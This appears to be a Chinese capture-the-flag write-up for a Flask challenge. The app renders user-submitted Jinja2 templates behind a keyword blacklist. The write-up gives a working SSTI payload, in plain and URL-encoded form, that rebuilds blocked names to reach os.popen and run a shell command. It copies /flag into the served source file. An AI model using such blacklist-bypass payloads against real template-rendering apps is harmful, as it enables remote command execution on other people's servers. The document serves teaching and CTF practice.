Safe_Proxy

一、 前言:简单介绍SSTI

SSTI(Server-Side Template Injection,服务器端模板注入)是一种常见的 Web 安全漏洞,发生在 Web 应用程序在服务器端使用模板引擎渲染动态内容时。
攻击者通过向应用程序的模板输入中注入恶意的模板语法,从而能够执行任意的代码或命令,甚至获取应用服务器上的敏感信息。

(一) SSTI工作原理

许多 Web 应用程序都使用模板引擎(例如 Jinja2、Thymeleaf、FreeMarker 等)来生成动态 HTML 内容。
模板引擎通过模板语法将变量和控制结构嵌入到静态 HTML 中。SSTI 漏洞通常出现在 Web 应用没有对用户输入进行充分过滤时,攻击者可以将恶意代码注入到模板渲染过程中。
攻击者通过构造包含恶意模板代码的输入,服务器端的模板引擎在渲染时会执行这些代码,导致潜在的代码执行或信息泄露。

(二) SSTI常见攻击

  1. 代码执行

攻击者可以注入特定的模板语法(如 Jinja2 或其他引擎的语法),通过模板引擎的执行环境运行恶意代码,执行服务器上的任意操作,例如读取文件、执行系统命令等。

  1. 信息泄露

攻击者可以通过模板注入获取 Web 应用服务器的一些敏感信息,例如环境变量、配置文件、数据库信息等。
这通常是通过泄露内存中的对象、类或函数信息来实现的。

  1. 绕过访问控制

在某些情况下,攻击者可以利用 SSTI 漏洞绕过 Web 应用的认证或授权机制,访问通常不允许访问的页面或功能。

(三) 常见的模板引擎

  • Jinja2(Python)
  • Thymeleaf(Java)
  • FreeMarker(Java)
  • Handlebars(JavaScript)
  • Mustache(多语言)

二、 题目分析

  1. 关键点分析
  • 这道题考的就是SSTI注入,waf的东西不是很多,
  • 主要的一个关键点就是绕过黑名单
  • 给的python代码,显然题目用的就是Jinja2模板引擎
  1. 代码分析

拿到题目后,给了段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

(一)概要分析

这段代码结合了 Flask Web 应用和一个 HTTP 代理服务器。
它创建了一个简单的 Web 应用,通过 Flask 提供了两个路由,一个用来展示代码源文件的内容,另一个用来渲染用户提交的模板代码。
此外,还实现了一个基本的 HTTP 代理功能,可以将客户端的请求转发到目标服务器,并处理响应。
代码运行在两个线程中:一个用于 Flask Web 应用,另一个用于代理服务器。

(二) Flask 应用分析

  1. Flask 路由

    • GET /
      • 打开当前脚本文件并返回其内容,使用 html.escape 进行 HTML 转义,以防止 XSS(跨站脚本攻击)。
    • POST /
      • 从表单获取 code 参数,这个参数包含了用户提供的模板代码。
      • 进行简单的安全过滤:检查代码中是否包含一些可能危险的字符串,如 __importos 等。若发现这些危险字符,会返回 "Forbidden content detected!"
      • 如果代码通过过滤,则使用 render_template_string 渲染这个模板并返回结果。如果渲染成功,则返回 ok;如果渲染失败,则返回 error
  2. 安全过滤问题

    • 目前的安全过滤逻辑过于简单,只检查了 code 中是否包含一些危险的关键字。这样的方法可能不够完善,因为攻击者可以通过各种方式绕过这些简单的字符串检查(例如通过混淆字符、编码绕过等)。
    • 更有效的做法是使用更精细的代码审计和沙箱环境来确保用户提供的模板代码不会执行恶意操作。

(三) HTTP 代理服务器分析

  1. HTTPProxyHandler

    • 该类用于处理客户端请求,将请求转发到目标服务器,并将目标服务器的响应返回给客户端。
    • 它使用 socket 库进行网络通信。客户端请求数据通过 recv() 接收并转发到目标服务器,然后接收目标服务器的响应并转发给客户端。
  2. start_proxy_server 函数

    • 启动一个代理服务器,监听指定的端口,并处理多个客户端连接。
    • 每当一个客户端连接时,创建一个新的线程处理该请求,确保支持并发。
  3. 安全反代

    • 代理服务器通过将请求转发到目标服务器(Flask 应用)来处理响应。这有助于防止一些针对 Flask 应用的攻击(例如某些针对 HTTP 头部的攻击),但它依赖于正确的实现和配置。代理服务器的简单实现并没有加入更多的安全措施,如请求过滤或身份验证等。

(四)代码安全性分析

  1. SSTI (Server-Side Template Injection)

    • Flask 使用了 render_template_string 来渲染用户提供的模板代码,潜在的风险是 SSTI 漏洞。恶意用户可以提交恶意模板代码,导致执行任意代码(例如文件读取、命令执行等)。
    • 对用户输入的过滤机制(检查 importos 等)是基础的,但不足以防范复杂的模板注入攻击。攻击者可能通过混淆技术绕过这些检查。
    • 如果用户提交的模板代码没有被正确过滤,攻击者可以注入并执行恶意的 Python 代码。
  2. 代理服务器的潜在问题

    • 虽然代理服务器能够隐藏原始 Flask 应用的详细信息,但其实现存在一些安全风险:
      • 没有处理 HTTPS:如果客户端和代理服务器之间使用 HTTP 明文传输,可能会暴露敏感数据(如身份验证信息)。
      • 没有进行请求验证:代理服务器将请求转发到目标服务器而不进行任何安全检查,攻击者可以利用它绕过一些服务器端的防护措施。
      • 缺乏完整的错误处理和日志:代理服务器没有针对连接错误、目标服务器错误或数据包注入进行完整的错误处理,这可能导致服务中断或安全漏洞。
  3. 可能的攻击场景

    • SSTI 攻击:攻击者提交恶意模板代码,通过 render_template_string 执行不安全的操作,如访问文件、执行系统命令等。
    • 代理滥用:攻击者可以利用代理服务器访问目标服务器的内部服务,绕过防火墙等安全机制。
    • 服务拒绝攻击:由于代理服务器将所有流量转发到目标服务器,可能会成为服务拒绝攻击的目标,特别是没有对请求做限制的情况下。

(三) 思路分析

  1. 请求方式
  • 使用get访问会读取当前的python脚本的内容 并返回源码

  • 使用post方法会获取code的内容 黑名单进行过滤 然后渲染模板

  1. 绕过过滤
    1
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
    需要传递的参数为code,内容都在code的键中

当前是无回显的ssti

我们要进行无回显的绕过构造

我们可以使用hackbar/fenjing来自动构造payload

  1. 我们有黑名单 我们可以本地起一个ssti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code") # 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
try:
result = render_template_string(template_code)
return result # 直接返回渲染后的模板内容
except Exception as e:
return f"Error: {str(e)}" # 返回错误信息
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port)) proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"rnrn")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()
  1. 本地运行
    1
    python .\app.py

显示:

1
2
3
4
5
starting Flask APP:
* Serving Flask app 'app'
* Debug mode: off
Proxy server is running on 0.0.0.0:50001 and forwarding to 127.0.0.1:5000...
* Running on http://127.0.0.1:5000

  1. 得到payload

    1
    2
    3
    4
    5
    6
    7
    提交表单完成,返回值为200,
    输入为{'code': "{%set gl = '_'*2 + 'globals' + '_'*2%}"
    "{%set bu = '_'*2 + 'builtins' + '_'*2%}"
    "{%set im = '_'*2 + 'i''mport' + '_'*2%}"
    "{%set ax = 'so'[::-1]%}"
    "{{cycler.next[gl][bu][im](ax)['P''open']('cat /flag > app.py').read()}}"},
    表单为{'action': '/', 'method': 'POST', 'inputs': {'code'}}
  2. 对payload进行URL编码并作为参数传递

  • 原payload

    1
    2
    3
    4
    5
    "{%set gl = '_'*2 + 'globals' + '_'*2%}"
    "{%set bu = '_'*2 + 'builtins' + '_'*2%}"
    "{%set im = '_'*2 + 'i''mport' + '_'*2%}"
    "{%set ax = 'so'[::-1]%}"
    "{{cycler.next[gl][bu][im](ax)['P''open']('cat /flag > app.py').read()}}"
  • 进行URL编码后的payload

    1
    2
    3
    4
    5
    %22%7B%25set%20gl%20%3D%20%27_%27*2%20%2B%20%27globals%27%20%2B%20%27_%27*2%25%7D%22
    %22%7B%25set%20bu%20%3D%20%27_%27*2%20%2B%20%27builtins%27%20%2B%20%27_%27*2%25%7D%22
    %22%7B%25set%20im%20%3D%20%27_%27*2%20%2B%20%27i%27%27mport%27%20%2B%20%27_%27*2%25%7D%22
    %22%7B%25set%20ax%20%3D%20%27so%27%5B%3A%3A-1%5D%25%7D%22
    %22%7B%7Bcycler.next%5Bgl%5D%5Bbu%5D%5Bim%5D(ax)%5B%27P%27%27open%27%5D(%27cat%20%2Fflag%20%3E%20app.py%27).read()%7D%7D%22
  1. 构造code进行post提交,返回状态为ok

  2. 获取flag

  • get访问路由/,就会访问到app.py
  • 我们就可以访问到falg
    1
    flag{0c518973-d0c3-49c1-bb4f-44f3074f484c}